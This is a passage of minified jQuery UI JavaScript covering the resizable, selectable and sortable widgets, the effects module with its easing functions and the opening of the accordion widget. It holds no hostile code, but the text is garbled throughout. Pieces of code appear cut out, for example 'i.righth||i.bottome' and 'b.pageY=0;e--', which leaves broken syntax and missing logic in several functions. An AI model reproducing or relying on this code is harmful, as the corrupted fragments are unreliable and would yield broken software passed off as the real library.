e.alsoResize=="object"&&!e.alsoResize.nodeType?a.each(e.alsoResize,function(a,b){i(a,b)}):i(e.alsoResize)},stop:function(b,c){a(this).removeData("resizable-alsoresize")}}),a.ui.plugin.add("resizable","animate",{stop:function(b,c){var d=a(this).data("resizable"),e=d.options,f=d._proportionallyResizeElements,g=f.length&&/textarea/i.test(f[0].nodeName),h=g&&a.ui.hasScroll(f[0],"left")?0:d.sizeDiff.height,i=g?0:d.sizeDiff.width,j={width:d.size.width-i,height:d.size.height-h},k=parseInt(d.element.css("left"),10)+(d.position.left-d.originalPosition.left)||null,l=parseInt(d.element.css("top"),10)+(d.position.top-d.originalPosition.top)||null;d.element.animate(a.extend(j,l&&k?{top:l,left:k}:{}),{duration:e.animateDuration,easing:e.animateEasing,step:function(){var c={width:parseInt(d.element.css("width"),10),height:parseInt(d.element.css("height"),10),top:parseInt(d.element.css("top"),10),left:parseInt(d.element.css("left"),10)};f&&f.length&&a(f[0]).css({width:c.width,height:c.height}),d._updateCache(c),d._propagate("resize",b)}})}}),a.ui.plugin.add("resizable","containment",{start:function(b,d){var e=a(this).data("resizable"),f=e.options,g=e.element,h=f.containment,i=h instanceof a?h.get(0):/parent/.test(h)?g.parent().get(0):h;if(!!i){e.containerElement=a(i);if(/document/.test(h)||h==document)e.containerOffset={left:0,top:0},e.containerPosition={left:0,top:0},e.parentData={element:a(document),left:0,top:0,width:a(document).width(),height:a(document).height()||document.body.parentNode.scrollHeight};else{var j=a(i),k=[];a(["Top","Right","Left","Bottom"]).each(function(a,b){k[a]=c(j.css("padding"+b))}),e.containerOffset=j.offset(),e.containerPosition=j.position(),e.containerSize={height:j.innerHeight()-k[3],width:j.innerWidth()-k[1]};var l=e.containerOffset,m=e.containerSize.height,n=e.containerSize.width,o=a.ui.hasScroll(i,"left")?i.scrollWidth:n,p=a.ui.hasScroll(i)?i.scrollHeight:m;e.parentData={element:i,left:l.left,top:l.top,width:o,height:p}}}},resize:function(b,c){var d=a(this).data("resizable"),e=d.options,f=d.containerSize,g=d.containerOffset,h=d.size,i=d.position,j=d._aspectRatio||b.shiftKey,k={top:0,left:0},l=d.containerElement;l[0]!=document&&/static/.test(l.css("position"))&&(k=g),i.left<(d._helper?g.left:0)&&(d.size.width=d.size.width+(d._helper?d.position.left-g.left:d.position.left-k.left),j&&(d.size.height=d.size.width/e.aspectRatio),d.position.left=e.helper?g.left:0),i.top<(d._helper?g.top:0)&&(d.size.height=d.size.height+(d._helper?d.position.top-g.top:d.position.top),j&&(d.size.width=d.size.height*e.aspectRatio),d.position.top=d._helper?g.top:0),d.offset.left=d.parentData.left+d.position.left,d.offset.top=d.parentData.top+d.position.top;var m=Math.abs((d._helper?d.offset.left-k.left:d.offset.left-k.left)+d.sizeDiff.width),n=Math.abs((d._helper?d.offset.top-k.top:d.offset.top-g.top)+d.sizeDiff.height),o=d.containerElement.get(0)==d.element.parent().get(0),p=/relative|absolute/.test(d.containerElement.css("position"));o&&p&&(m-=d.parentData.left),m+d.size.width>=d.parentData.width&&(d.size.width=d.parentData.width-m,j&&(d.size.height=d.size.width/d.aspectRatio)),n+d.size.height>=d.parentData.height&&(d.size.height=d.parentData.height-n,j&&(d.size.width=d.size.height*d.aspectRatio))},stop:function(b,c){var d=a(this).data("resizable"),e=d.options,f=d.position,g=d.containerOffset,h=d.containerPosition,i=d.containerElement,j=a(d.helper),k=j.offset(),l=j.outerWidth()-d.sizeDiff.width,m=j.outerHeight()-d.sizeDiff.height;d._helper&&!e.animate&&/relative/.test(i.css("position"))&&a(this).css({left:k.left-h.left-g.left,width:l,height:m}),d._helper&&!e.animate&&/static/.test(i.css("position"))&&a(this).css({left:k.left-h.left-g.left,width:l,height:m})}}),a.ui.plugin.add("resizable","ghost",{start:function(b,c){var d=a(this).data("resizable"),e=d.options,f=d.size;d.ghost=d.originalElement.clone(),d.ghost.css({opacity:.25,display:"block",position:"relative",height:f.height,width:f.width,margin:0,left:0,top:0}).addClass("ui-resizable-ghost").addClass(typeof e.ghost=="string"?e.ghost:""),d.ghost.appendTo(d.helper)},resize:function(b,c){var d=a(this).data("resizable"),e=d.options;d.ghost&&d.ghost.css({position:"relative",height:d.size.height,width:d.size.width})},stop:function(b,c){var d=a(this).data("resizable"),e=d.options;d.ghost&&d.helper&&d.helper.get(0).removeChild(d.ghost.get(0))}}),a.ui.plugin.add("resizable","grid",{resize:function(b,c){var d=a(this).data("resizable"),e=d.options,f=d.size,g=d.originalSize,h=d.originalPosition,i=d.axis,j=e._aspectRatio||b.shiftKey;e.grid=typeof e.grid=="number"?[e.grid,e.grid]:e.grid;var k=Math.round((f.width-g.width)/(e.grid[0]||1))*(e.grid[0]||1),l=Math.round((f.height-g.height)/(e.grid[1]||1))*(e.grid[1]||1);/^(se|s|e)$/.test(i)?(d.size.width=g.width+k,d.size.height=g.height+l):/^(ne)$/.test(i)?(d.size.width=g.width+k,d.size.height=g.height+l,d.position.top=h.top-l):/^(sw)$/.test(i)?(d.size.width=g.width+k,d.size.height=g.height+l,d.position.left=h.left-k):(d.size.width=g.width+k,d.size.height=g.height+l,d.position.top=h.top-l,d.position.left=h.left-k)}});var c=function(a){return parseInt(a,10)||0},d=function(a){return!isNaN(parseInt(a,10))}}(jQuery),function(a,b){a.widget("ui.selectable",a.ui.mouse,{options:{appendTo:"body",autoRefresh:!0,distance:0,filter:"*",tolerance:"touch"},_create:function(){var b=this;this.element.addClass("ui-selectable"),this.dragged=!1;var c;this.refresh=function(){c=a(b.options.filter,b.element[0]),c.addClass("ui-selectee"),c.each(function(){var b=a(this),c=b.offset();a.data(this,"selectable-item",{element:this,$element:b,left:c.left,top:c.top,right:c.left+b.outerWidth(),bottom:c.top+b.outerHeight(),startselected:!1,selected:b.hasClass("ui-selected"),selecting:b.hasClass("ui-selecting"),unselecting:b.hasClass("ui-unselecting")})})},this.refresh(),this.selectees=c.addClass("ui-selectee"),this._mouseInit(),this.helper=a("
")},destroy:function(){this.selectees.removeClass("ui-selectee").removeData("selectable-item"),this.element.removeClass("ui-selectable ui-selectable-disabled").removeData("selectable").unbind(".selectable"),this._mouseDestroy();return this},_mouseStart:function(b){var c=this;this.opos=[b.pageX,b.pageY];if(!this.options.disabled){var d=this.options;this.selectees=a(d.filter,this.element[0]),this._trigger("start",b),a(d.appendTo).append(this.helper),this.helper.css({left:b.clientX,top:b.clientY,width:0,height:0}),d.autoRefresh&&this.refresh(),this.selectees.filter(".ui-selected").each(function(){var d=a.data(this,"selectable-item");d.startselected=!0,!b.metaKey&&!b.ctrlKey&&(d.$element.removeClass("ui-selected"),d.selected=!1,d.$element.addClass("ui-unselecting"),d.unselecting=!0,c._trigger("unselecting",b,{unselecting:d.element}))}),a(b.target).parents().andSelf().each(function(){var d=a.data(this,"selectable-item");if(d){var e=!b.metaKey&&!b.ctrlKey||!d.$element.hasClass("ui-selected");d.$element.removeClass(e?"ui-unselecting":"ui-selected").addClass(e?"ui-selecting":"ui-unselecting"),d.unselecting=!e,d.selecting=e,d.selected=e,e?c._trigger("selecting",b,{selecting:d.element}):c._trigger("unselecting",b,{unselecting:d.element});return!1}})}},_mouseDrag:function(b){var c=this;this.dragged=!0;if(!this.options.disabled){var d=this.options,e=this.opos[0],f=this.opos[1],g=b.pageX,h=b.pageY;if(e>g){var i=g;g=e,e=i}if(f>h){var i=h;h=f,f=i}this.helper.css({left:e,top:f,width:g-e,height:h-f}),this.selectees.each(function(){var i=a.data(this,"selectable-item");if(!!i&&i.element!=c.element[0]){var j=!1;d.tolerance=="touch"?j=!(i.left>g||i.righth||i.bottome&&i.rightf&&i.bottom *",opacity:!1,placeholder:!1,revert:!1,scroll:!0,scrollSensitivity:20,scrollSpeed:20,scope:"default",tolerance:"intersect",zIndex:1e3},_create:function(){var a=this.options;this.containerCache={},this.element.addClass("ui-sortable"),this.refresh(),this.floating=this.items.length?a.axis==="x"||/left|right/.test(this.items[0].item.css("float"))||/inline|table-cell/.test(this.items[0].item.css("display")):!1,this.offset=this.element.offset(),this._mouseInit(),this.ready=!0},destroy:function(){a.Widget.prototype.destroy.call(this),this.element.removeClass("ui-sortable ui-sortable-disabled"),this._mouseDestroy();for(var b=this.items.length-1;b>=0;b--)this.items[b].item.removeData(this.widgetName+"-item");return this},_setOption:function(b,c){b==="disabled"?(this.options[b]=c,this.widget()[c?"addClass":"removeClass"]("ui-sortable-disabled")):a.Widget.prototype._setOption.apply(this,arguments)},_mouseCapture:function(b,c){var d=this;if(this.reverting)return!1;if(this.options.disabled||this.options.type=="static")return!1;this._refreshItems(b);var e=null,f=this,g=a(b.target).parents().each(function(){if(a.data(this,d.widgetName+"-item")==f){e=a(this);return!1}});a.data(b.target,d.widgetName+"-item")==f&&(e=a(b.target));if(!e)return!1;if(this.options.handle&&!c){var h=!1;a(this.options.handle,e).find("*").andSelf().each(function(){this==b.target&&(h=!0)});if(!h)return!1}this.currentItem=e,this._removeCurrentsFromItems();return!0},_mouseStart:function(b,c,d){var e=this.options,f=this;this.currentContainer=this,this.refreshPositions(),this.helper=this._createHelper(b),this._cacheHelperProportions(),this._cacheMargins(),this.scrollParent=this.helper.scrollParent(),this.offset=this.currentItem.offset(),this.offset={top:this.offset.top-this.margins.top,left:this.offset.left-this.margins.left},this.helper.css("position","absolute"),this.cssPosition=this.helper.css("position"),a.extend(this.offset,{click:{left:b.pageX-this.offset.left,top:b.pageY-this.offset.top},parent:this._getParentOffset(),relative:this._getRelativeOffset()}),this.originalPosition=this._generatePosition(b),this.originalPageX=b.pageX,this.originalPageY=b.pageY,e.cursorAt&&this._adjustOffsetFromHelper(e.cursorAt),this.domPosition={prev:this.currentItem.prev()[0],parent:this.currentItem.parent()[0]},this.helper[0]!=this.currentItem[0]&&this.currentItem.hide(),this._createPlaceholder(),e.containment&&this._setContainment(),e.cursor&&(a("body").css("cursor")&&(this._storedCursor=a("body").css("cursor")),a("body").css("cursor",e.cursor)),e.opacity&&(this.helper.css("opacity")&&(this._storedOpacity=this.helper.css("opacity")),this.helper.css("opacity",e.opacity)),e.zIndex&&(this.helper.css("zIndex")&&(this._storedZIndex=this.helper.css("zIndex")),this.helper.css("zIndex",e.zIndex)),this.scrollParent[0]!=document&&this.scrollParent[0].tagName!="HTML"&&(this.overflowOffset=this.scrollParent.offset()),this._trigger("start",b,this._uiHash()),this._preserveHelperProportions||this._cacheHelperProportions();if(!d)for(var g=this.containers.length-1;g>=0;g--)this.containers[g]._trigger("activate",b,f._uiHash(this));a.ui.ddmanager&&(a.ui.ddmanager.current=this),a.ui.ddmanager&&!e.dropBehaviour&&a.ui.ddmanager.prepareOffsets(this,b),this.dragging=!0,this.helper.addClass("ui-sortable-helper"),this._mouseDrag(b);return!0},_mouseDrag:function(b){this.position=this._generatePosition(b),this.positionAbs=this._convertPositionTo("absolute"),this.lastPositionAbs||(this.lastPositionAbs=this.positionAbs);if(this.options.scroll){var c=this.options,d=!1;this.scrollParent[0]!=document&&this.scrollParent[0].tagName!="HTML"?(this.overflowOffset.top+this.scrollParent[0].offsetHeight-b.pageY=0;e--){var f=this.items[e],g=f.item[0],h=this._intersectsWithPointer(f);if(!h)continue;if(g!=this.currentItem[0]&&this.placeholder[h==1?"next":"prev"]()[0]!=g&&!a.ui.contains(this.placeholder[0],g)&&(this.options.type=="semi-dynamic"?!a.ui.contains(this.element[0],g):!0)){this.direction=h==1?"down":"up";if(this.options.tolerance=="pointer"||this._intersectsWithSides(f))this._rearrange(b,f);else break;this._trigger("change",b,this._uiHash());break}}this._contactContainers(b),a.ui.ddmanager&&a.ui.ddmanager.drag(this,b),this._trigger("sort",b,this._uiHash()),this.lastPositionAbs=this.positionAbs;return!1},_mouseStop:function(b,c){if(!!b){a.ui.ddmanager&&!this.options.dropBehaviour&&a.ui.ddmanager.drop(this,b);if(this.options.revert){var d=this,e=d.placeholder.offset();d.reverting=!0,a(this.helper).animate({left:e.left-this.offset.parent.left-d.margins.left+(this.offsetParent[0]==document.body?0:this.offsetParent[0].scrollLeft),top:e.top-this.offset.parent.top-d.margins.top+(this.offsetParent[0]==document.body?0:this.offsetParent[0].scrollTop)},parseInt(this.options.revert,10)||500,function(){d._clear(b)})}else this._clear(b,c);return!1}},cancel:function(){var b=this;if(this.dragging){this._mouseUp({target:null}),this.options.helper=="original"?this.currentItem.css(this._storedCSS).removeClass("ui-sortable-helper"):this.currentItem.show();for(var c=this.containers.length-1;c>=0;c--)this.containers[c]._trigger("deactivate",null,b._uiHash(this)),this.containers[c].containerCache.over&&(this.containers[c]._trigger("out",null,b._uiHash(this)),this.containers[c].containerCache.over=0)}this.placeholder&&(this.placeholder[0].parentNode&&this.placeholder[0].parentNode.removeChild(this.placeholder[0]),this.options.helper!="original"&&this.helper&&this.helper[0].parentNode&&this.helper.remove(),a.extend(this,{helper:null,dragging:!1,reverting:!1,_noFinalSort:null}),this.domPosition.prev?a(this.domPosition.prev).after(this.currentItem):a(this.domPosition.parent).prepend(this.currentItem));return this},serialize:function(b){var c=this._getItemsAsjQuery(b&&b.connected),d=[];b=b||{},a(c).each(function(){var c=(a(b.item||this).attr(b.attribute||"id")||"").match(b.expression||/(.+)[-=_](.+)/);c&&d.push((b.key||c[1]+"[]")+"="+(b.key&&b.expression?c[1]:c[2]))}),!d.length&&b.key&&d.push(b.key+"=");return d.join("&")},toArray:function(b){var c=this._getItemsAsjQuery(b&&b.connected),d=[];b=b||{},c.each(function(){d.push(a(b.item||this).attr(b.attribute||"id")||"")});return d},_intersectsWith:function(a){var b=this.positionAbs.left,c=b+this.helperProportions.width,d=this.positionAbs.top,e=d+this.helperProportions.height,f=a.left,g=f+a.width,h=a.top,i=h+a.height,j=this.offset.click.top,k=this.offset.click.left,l=d+j>h&&d+jf&&b+ka[this.floating?"width":"height"]?l:f0?"down":"up")},_getDragHorizontalDirection:function(){var a=this.positionAbs.left-this.lastPositionAbs.left;return a!=0&&(a>0?"right":"left")},refresh:function(a){this._refreshItems(a),this.refreshPositions();return this},_connectWith:function(){var a=this.options;return a.connectWith.constructor==String?[a.connectWith]:a.connectWith},_getItemsAsjQuery:function(b){var c=this,d=[],e=[],f=this._connectWith();if(f&&b)for(var g=f.length-1;g>=0;g--){var h=a(f[g]);for(var i=h.length-1;i>=0;i--){var j=a.data(h[i],this.widgetName);j&&j!=this&&!j.options.disabled&&e.push([a.isFunction(j.options.items)?j.options.items.call(j.element):a(j.options.items,j.element).not(".ui-sortable-helper").not(".ui-sortable-placeholder"),j])}}e.push ([a.isFunction(this.options.items)?this.options.items.call(this.element,null,{options:this.options,item:this.currentItem}):a(this.options.items,this.element).not(".ui-sortable-helper").not(".ui-sortable-placeholder"),this]);for(var g=e.length-1;g>=0;g--)e[g][0].each(function(){d.push(this)});return a(d)},_removeCurrentsFromItems:function(){var a=this.currentItem.find(":data("+this.widgetName+"-item)");for(var b=0;b=0;g--){var h=a(f[g]);for(var i=h.length-1;i>=0;i--){var j=a.data(h[i],this.widgetName);j&&j!=this&&!j.options.disabled&&(e.push([a.isFunction(j.options.items)?j.options.items.call(j.element[0],b,{item:this.currentItem}):a(j.options.items,j.element),j]),this.containers.push(j))}}for(var g=e.length-1;g>=0;g--){var k=e[g][1],l=e[g][0];for(var i=0,m=l.length;i=0;c--){var d=this.items[c];if(d.instance!=this.currentContainer&&this.currentContainer&&d.item[0]!=this.currentItem[0])continue;var e=this.options.toleranceElement?a(this.options.toleranceElement,d.item):d.item;b||(d.width=e.outerWidth(),d.height=e.outerHeight());var f=e.offset();d.left=f.left,d.top=f.top}if(this.options.custom&&this.options.custom.refreshContainers)this.options.custom.refreshContainers.call(this);else for(var c=this.containers.length-1;c>=0;c--){var f=this.containers[c].element.offset();this.containers[c].containerCache.left=f.left,this.containers[c].containerCache.top=f.top,this.containers[c].containerCache.width=this.containers[c].element.outerWidth(),this.containers[c].containerCache.height=this.containers[c].element.outerHeight()}return this},_createPlaceholder:function(b){var c=b||this,d=c.options;if(!d.placeholder||d.placeholder.constructor==String){var e=d.placeholder;d.placeholder={element:function(){var b=a(document.createElement(c.currentItem[0].nodeName)).addClass(e||c.currentItem[0].className+" ui-sortable-placeholder").removeClass("ui-sortable-helper")[0];e||(b.style.visibility="hidden");return b},update:function(a,b){if(!e||!!d.forcePlaceholderSize)b.height()||b.height(c.currentItem.innerHeight()-parseInt(c.currentItem.css("paddingTop")||0,10)-parseInt(c.currentItem.css("paddingBottom")||0,10)),b.width()||b.width(c.currentItem.innerWidth()-parseInt(c.currentItem.css("paddingLeft")||0,10)-parseInt(c.currentItem.css("paddingRight")||0,10))}}}c.placeholder=a(d.placeholder.element.call(c.element,c.currentItem)),c.currentItem.after(c.placeholder),d.placeholder.update(c,c.placeholder)},_contactContainers:function(b){var c=null,d=null;for(var e=this.containers.length-1;e>=0;e--){if(a.ui.contains(this.currentItem[0],this.containers[e].element[0]))continue;if(this._intersectsWith(this.containers[e].containerCache)){if(c&&a.ui.contains(this.containers[e].element[0],c.element[0]))continue;c=this.containers[e],d=e}else this.containers[e].containerCache.over&&(this.containers[e]._trigger("out",b,this._uiHash(this)),this.containers[e].containerCache.over=0)}if(!!c)if(this.containers.length===1)this.containers[d]._trigger("over",b,this._uiHash(this)),this.containers[d].containerCache.over=1;else if(this.currentContainer!=this.containers[d]){var f=1e4,g=null,h=this.positionAbs[this.containers[d].floating?"left":"top"];for(var i=this.items.length-1;i>=0;i--){if(!a.ui.contains(this.containers[d].element[0],this.items[i].item[0]))continue;var j=this.items[i][this.containers[d].floating?"left":"top"];Math.abs(j-h)this.containment[2]&&(f=this.containment[2]+this.offset.click.left),b.pageY-this.offset.click.top>this.containment[3]&&(g=this.containment[3]+this.offset.click.top));if(c.grid){var h=this.originalPageY+Math.round((g-this.originalPageY)/c.grid[1])*c.grid[1];g=this.containment?h-this.offset.click.topthis.containment[3]?h-this.offset.click.topthis.containment[2]?i-this.offset.click.left=0;f--)a.ui.contains(this.containers[f].element[0],this.currentItem[0])&&!c&&(d.push(function(a){return function(b){a._trigger("receive",b,this._uiHash(this))}}.call(this,this.containers[f])),d.push(function(a){return function(b){a._trigger("update",b,this._uiHash(this))}}.call(this,this.containers[f])))}for(var f=this.containers.length-1;f>=0;f--)c||d.push(function(a){return function(b){a._trigger("deactivate",b,this._uiHash(this))}}.call(this,this.containers[f])),this.containers[f].containerCache.over&&(d.push(function(a){return function(b){a._trigger("out",b,this._uiHash(this))}}.call(this,this.containers[f])),this.containers[f].containerCache.over=0);this._storedCursor&&a("body").css("cursor",this._storedCursor),this._storedOpacity&&this.helper.css("opacity",this._storedOpacity),this._storedZIndex&&this.helper.css("zIndex",this._storedZIndex=="auto"?"":this._storedZIndex),this.dragging=!1;if(this.cancelHelperRemoval){if(!c){this._trigger("beforeStop",b,this._uiHash());for(var f=0;f").addClass("ui-effects-wrapper").css({fontSize:"100%",background:"transparent",border:"none",margin:0,padding:0}),e=document.activeElement;b.wrap(d),(b[0]===e||a.contains(b[0],e))&&a(e).focus(),d=b.parent(),b.css("position")=="static"?(d.css({position:"relative"}),b.css({position:"relative"})):(a.extend(c,{position:b.css("position"),zIndex:b.css("z-index")}),a.each(["top","left","bottom","right"],function(a,d){c[d]=b.css(d),isNaN(parseInt(c[d],10))&&(c[d]="auto")}),b.css({position:"relative",top:0,left:0,right:"auto",bottom:"auto"}));return d.css(c).show()},removeWrapper:function(b){var c,d=document.activeElement;if(b.parent().is(".ui-effects-wrapper")){c=b.parent().replaceWith(b),(b[0]===d||a.contains(b[0],d))&&a(d).focus();return c}return b},setTransition:function(b,c,d,e){e=e||{},a.each(c,function(a,c){unit=b.cssUnit(c),unit[0]>0&&(e[c]=unit[0]*d+unit[1])});return e}}),a.fn.extend({effect:function(b,c,d,e){var f=k.apply(this,arguments),g={options:f[1],duration:f[2],callback:f[3]},h=g.options.mode,i=a.effects[b];if(a.fx.off||!i)return h?this[h](g.duration,g.callback):this.each(function(){g.callback&&g.callback.call(this)});return i.call(this,g)},_show:a.fn.show,show:function(a){if(l(a))return this._show.apply(this,arguments);var b=k.apply(this,arguments);b[1].mode="show";return this.effect.apply(this,b)},_hide:a.fn.hide,hide:function(a){if(l(a))return this._hide.apply(this,arguments);var b=k.apply(this,arguments);b[1].mode="hide";return this.effect.apply(this,b)},__toggle:a.fn.toggle,toggle:function(b){if(l(b)||typeof b=="boolean"||a.isFunction(b))return this.__toggle.apply(this,arguments);var c=k.apply(this,arguments);c[1].mode="toggle";return this.effect.apply(this,c)},cssUnit:function(b){var c=this.css(b),d=[];a.each(["em","px","%","pt"],function(a,b){c.indexOf(b)>0&&(d=[parseFloat(c),b])});return d}}),a.easing.jswing=a.easing.swing,a.extend(a.easing,{def:"easeOutQuad",swing:function(b,c,d,e,f){return a.easing[a.easing.def](b,c,d,e,f)},easeInQuad:function(a,b,c,d,e){return d*(b/=e)*b+c},easeOutQuad:function(a,b,c,d,e){return-d*(b/=e)*(b-2)+c},easeInOutQuad:function(a,b,c,d,e){if((b/=e/2)<1)return d/2*b*b+c;return-d/2*(--b*(b-2)-1)+c},easeInCubic:function(a,b,c,d,e){return d*(b/=e)*b*b+c},easeOutCubic:function(a,b,c,d,e){return d*((b=b/e-1)*b*b+1)+c},easeInOutCubic:function(a,b,c,d,e){if((b/=e/2)<1)return d/2*b*b*b+c;return d/2*((b-=2)*b*b+2)+c},easeInQuart:function(a,b,c,d,e){return d*(b/=e)*b*b*b+c},easeOutQuart:function(a,b,c,d,e){return-d*((b=b/e-1)*b*b*b-1)+c},easeInOutQuart:function(a,b,c,d,e){if((b/=e/2)<1)return d/2*b*b*b*b+c;return-d/2*((b-=2)*b*b*b-2)+c},easeInQuint:function(a,b,c,d,e){return d*(b/=e)*b*b*b*b+c},easeOutQuint:function(a,b,c,d,e){return d*((b=b/e-1)*b*b*b*b+1)+c},easeInOutQuint:function(a,b,c,d,e){if((b/=e/2)<1)return d/2*b*b*b*b*b+c;return d/2*((b-=2)*b*b*b*b+2)+c},easeInSine:function(a,b,c,d,e){return-d*Math.cos(b/e*(Math.PI/2))+d+c},easeOutSine:function(a,b,c,d,e){return d*Math.sin(b/e*(Math.PI/2))+c},easeInOutSine:function(a,b,c,d,e){return-d/2*(Math.cos(Math.PI*b/e)-1)+c},easeInExpo:function(a,b,c,d,e){return b==0?c:d*Math.pow(2,10*(b/e-1))+c},easeOutExpo:function(a,b,c,d,e){return b==e?c+d:d*(-Math.pow(2,-10*b/e)+1)+c},easeInOutExpo:function(a,b,c,d,e){if(b==0)return c;if(b==e)return c+d;if((b/=e/2)<1)return d/2*Math.pow(2,10*(b-1))+c;return d/2*(-Math.pow(2,-10*--b)+2)+c},easeInCirc:function(a,b,c,d,e){return-d*(Math.sqrt(1-(b/=e)*b)-1)+c},easeOutCirc:function(a,b,c,d,e){return d*Math.sqrt(1-(b=b/e-1)*b)+c},easeInOutCirc:function(a,b,c,d,e){if((b/=e/2)<1)return-d/2*(Math.sqrt(1-b*b)-1)+c;return d/2*(Math.sqrt(1-(b-=2)*b)+1)+c},easeInElastic:function(a,b,c,d,e){var f=1.70158,g=0,h=d;if(b==0)return c;if((b/=e)==1)return c+d;g||(g=e*.3);if(h").css({position:"absolute",visibility:"visible",left:-j*(g/d),top:-i*(h/c)}).parent().addClass("ui-effects-explode").css({position:"absolute",overflow:"hidden",width:g/d,height:h/c,left:f.left+j*(g/d)+(b.options.mode=="show"?(j-Math.floor(d/2))*(g/d):0),top:f.top+i*(h/c)+(b.options.mode=="show"?(i-Math.floor(c/2))*(h/c):0),opacity:b.options.mode=="show"?0:1}).animate({left:f.left+j*(g/d)+(b.options.mode=="show"?0:(j-Math.floor(d/2))*(g/d)),top:f.top+i*(h/c)+(b.options.mode=="show"?0:(i-Math.floor(c/2))*(h/c)),opacity:b.options.mode=="show"?1:0},b.duration||500);setTimeout(function(){b.options.mode=="show"?e.css({visibility:"visible"}):e.css({visibility:"visible"}).hide(),b.callback&&b.callback.apply(e[0]),e.dequeue(),a("div.ui-effects-explode").remove()},b.duration||500)})}}(jQuery),function(a,b){a.effects.fade=function(b){return this.queue(function(){var c=a(this),d=a.effects.setMode(c,b.options.mode||"hide");c.animate({opacity:d},{queue:!1,duration:b.duration,easing:b.options.easing,complete:function(){b.callback&&b.callback.apply(this,arguments),c.dequeue()}})})}}(jQuery),function(a,b){a.effects.fold=function(b){return this.queue(function(){var c=a(this),d=["position","top","bottom","left","right"],e=a.effects.setMode(c,b.options.mode||"hide"),f=b.options.size||15,g=!!b.options.horizFirst,h=b.duration?b.duration/2:a.fx.speeds._default/2;a.effects.save(c,d),c.show();var i=a.effects.createWrapper(c).css({overflow:"hidden"}),j=e=="show"!=g,k=j?["width","height"]:["height","width"],l=j?[i.width(),i.height()]:[i.height(),i.width()],m=/([0-9]+)%/.exec(f);m&&(f=parseInt(m[1],10)/100*l[e=="hide"?0:1]),e=="show"&&i.css(g?{height:0,width:f}:{height:f,width:0});var n={},p={};n[k[0]]=e=="show"?l[0]:f,p[k[1]]=e=="show"?l[1]:0,i.animate(n,h,b.options.easing).animate(p,h,b.options.easing,function(){e=="hide"&&c.hide(),a.effects.restore(c,d),a.effects.removeWrapper(c),b.callback&&b.callback.apply(c[0],arguments),c.dequeue()})})}}(jQuery),function(a,b){a.effects.highlight=function(b){return this.queue(function(){var c=a(this),d=["backgroundImage","backgroundColor","opacity"],e=a.effects.setMode(c,b.options.mode||"show"),f={backgroundColor:c.css("backgroundColor")};e=="hide"&&(f.opacity=0),a.effects.save(c,d),c.show().css({backgroundImage:"none",backgroundColor:b.options.color||"#ffff99"}).animate(f,{queue:!1,duration:b.duration,easing:b.options.easing,complete:function(){e=="hide"&&c.hide(),a.effects.restore(c,d),e=="show"&&!a.support.opacity&&this.style.removeAttribute("filter"),b.callback&&b.callback.apply(this,arguments),c.dequeue()}})})}}(jQuery),function(a,b){a.effects.pulsate=function(b){return this.queue(function(){var c=a(this),d=a.effects.setMode(c,b.options.mode||"show");times=(b.options.times||5)*2-1,duration=b.duration?b.duration/2:a.fx.speeds._default/2,isVisible=c.is(":visible"),animateTo=0,isVisible||(c.css("opacity",0).show(),animateTo=1),(d=="hide"&&isVisible||d=="show"&&!isVisible)&×--;for(var e=0;e').appendTo(document.body).addClass(b.options.className).css({top:g.top,left:g.left,height:c.innerHeight(),width:c.innerWidth(),position:"absolute"}).animate(f,b.duration,b.options.easing,function(){h.remove(),b.callback&&b.callback.apply(c[0],arguments),c.dequeue()})})}}(jQuery),function(a,b){a.widget("ui.accordion",{options:{active:0,animated:"slide",autoHeight:!0,clearStyle:!1,collapsible:!1,event:"click",fillSpace:!1,header:"> li > :first-child,> :not(li):even",icons:{header:"ui-icon-triangle-1-e",headerSelected:"ui-icon-triangle-1-s"},navigation:!1,navigationFilter:function(){return this.href.toLowerCase()===location.href.toLowerCase()}},_create:function(){var b=this,c=b.options;b.running=0,b.element.addClass("ui-accordion ui-widget ui-helper-reset").children("li").addClass("ui-accordion-li-fix"),b.headers=b.element.find(c.header).addClass("ui-accordion-header ui-helper-reset ui-state-default ui-corner-all").bind("mouseenter.accordion",function(){c.disabled||a(this).addClass("ui-state-hover")}).bind("mouseleave.accordion",function(){c.disabled||a(this).removeClass("ui-state-hover")}).bind("focus.accordion",function(){c.disabled||a(this).addClass("ui-state-focus")}).bind("blur.accordion",function(){c.disabled||a(this).removeClass("ui-state-focus")}),b.headers.next().addClass("ui-accordion-content ui-helper-reset ui-widget-content ui-corner-bottom");if(c.navigation){var d=b.element.find("a").filter(c.navigationFilter).eq(0);if(d.length){var e=d.closest(".ui-accordion-header");e.length?b.active=e:b.active=d.closest(".ui-accordion-content").prev()}}b.active=b._findActive(b.active||c.active).addClass("ui-state-default ui-state-active").toggleClass("ui-corner-all").toggleClass("ui-corner-top"),b.active.next().addClass("ui-accordion-content-active"),b._createIcons(),b.resize(),b.element.attr("role","tablist"),b.headers.attr("role","tab").bind("keydown.accordion",function(a){return b._keydown(a)}).next().attr("role","tabpanel"),b.headers.not(b.active||"").attr({"aria-expanded":"false","aria-selected":"false",tabIndex:-1}).next().hide(),b.active.length?b.active.attr({"aria-expanded":"true","aria-selected":"true",tabIndex:0}):b.headers.eq(0).attr("tabIndex",0),a.browser.safari||b.headers.find("a").attr("tabIndex",-1),c.event&&b.headers.bind(c.event.split(" ").join(".accordion ")+".accordion",function(a){b._clickHandler.call(b,a,this),a.preventDefault()})},_createIcons:function(){var b=this.options;b.icons&&(a("").addClass("ui-icon "+b.icons.header).prependTo(this.headers),this.active.children(".ui-icon").toggleClass(b.icons.header).toggleClass(b.icons.headerSelected),this.element.addClass("ui-accordion-icons"))},_destroyIcons:function(){this.headers.children(".ui-icon").remove(),this.element.removeClass("ui-accordion-icons")},destroy:function(){var b=this.options;this.element.removeClass("ui-accordion ui-widget ui-helper-reset").removeAttr("role"),this.headers.unbind(".accordion").removeClass("ui-accordion-header ui-accordion-disabled ui-helper-reset ui-state-default ui-corner-all ui-state-active ui-state-disabled ui-corner-top").removeAttr("role").removeAttr("aria-expanded").removeAttr("aria-selected").removeAttr("tabIndex"),this.headers.find("a").removeAttr("tabIndex"),this._destroyIcons();var c=this.headers.next().css("display","").removeAttr("role").removeClass("ui-helper-reset ui-widget-content ui-corner-bottom ui-accordion-content ui-accordion-content-active ui-accordion-disabled ui-state-disabled");(b.autoHeight||b.fillHeight)&&c.css("height","");return a.Widget.prototype.destroy.call(this)},_setOption:function(b,c){a.Widget.prototype._setOption.apply(this,arguments),b=="active"&&this.activate(c),b=="icons"&&(this._destroyIcons(),c&&this._createIcons()),b=="disabled"&&this.headers.add(this.headers.next())[c?"addClass":"removeClass"]("ui-accordion-disabled ui-state-disabled")},_keydown:function(b){if(!(this.options.disabled||b.altKey||b.ctrlKey)){var 